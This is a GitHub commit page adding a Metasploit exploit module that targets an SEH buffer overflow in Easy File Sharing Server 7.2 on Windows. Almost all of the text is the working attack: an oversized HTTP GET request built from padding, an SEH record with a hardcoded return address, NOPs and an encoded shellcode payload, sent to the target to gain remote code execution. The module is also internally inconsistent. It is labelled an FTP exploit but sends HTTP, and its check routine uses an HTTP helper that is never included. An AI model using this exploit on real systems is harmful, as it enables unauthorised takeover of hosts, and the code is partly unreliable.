Skip to content

Commit 45c88d3

Browse files
Create easyfilesharing_seh.rb
1 parent 76a8899 commit 45c88d3

File tree

1 file changed

+77
-0
lines changed

1 file changed

+77
-0
lines changed
Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
10+
Rank = AverageRanking
11+
12+
include Msf::Exploit::Remote::Tcp
13+
include Msf::Exploit::Seh
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Easy File Sharing FTP Server 7.2 SEH Overflow',
18+
'Description' => %q{
19+
This module exploits a SEH overflow in the Easy File Sharing FTP Server 7.2 software.
20+
},
21+
'Author' => 'Starwarsfan2099 <starwarsfan2099[at]gmail.com>',
22+
'License' => MSF_LICENSE,
23+
'References' =>
24+
[
25+
[ 'URL', 'https://www.exploit-db.com/exploits/39008/' ],
26+
],
27+
'Privileged' => true,
28+
'DefaultOptions' =>
29+
{
30+
'EXITFUNC' => 'thread',
31+
},
32+
'Payload' =>
33+
{
34+
'Space' => 390,
35+
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
36+
'StackAdjustment' => -3500,
37+
},
38+
'Platform' => 'win',
39+
'Targets' =>
40+
[
41+
[ 'Windows Universal', { 'Ret' => 0x10019798 } ],
42+
],
43+
'DisclosureDate' => 'December 2, 2015',
44+
'DefaultTarget' => 0))
45+
end
46+
47+
def check
48+
res = send_request_cgi({
49+
'method' => 'GET',
50+
'uri' => normalize_uri('/')
51+
})
52+
if res.to_s.include?('Server: Easy File Sharing Web Server v7.2')
53+
return Exploit::CheckCode::Vulnerable
54+
else
55+
return Exploit::CheckCode::Unknown
56+
end
57+
end
58+
59+
def exploit
60+
connect
61+
print_status("Generating Shell Code")
62+
sploit = "GET "
63+
sploit << rand_text_alpha_upper(4061)
64+
print_status("Generating Short jump")
65+
sploit << generate_seh_record(target.ret)
66+
sploit << make_nops(19)
67+
sploit << payload.encoded
68+
sploit << make_nops(7)
69+
print_status("Buffer length is: #{4500 - 4061 - 4 - 4 - 20 - payload.encoded.length - 20}")
70+
sploit << rand_text_alpha_upper(4500 - 4061 - 4 - 4 - 20 - payload.encoded.length - 20)
71+
sploit << " HTTP/1.0\r\n\r\n"
72+
sock.put(sploit)
73+
print_good("Exploit Sent")
74+
handler
75+
disconnect
76+
end
77+
end

0 commit comments

Comments
 (0)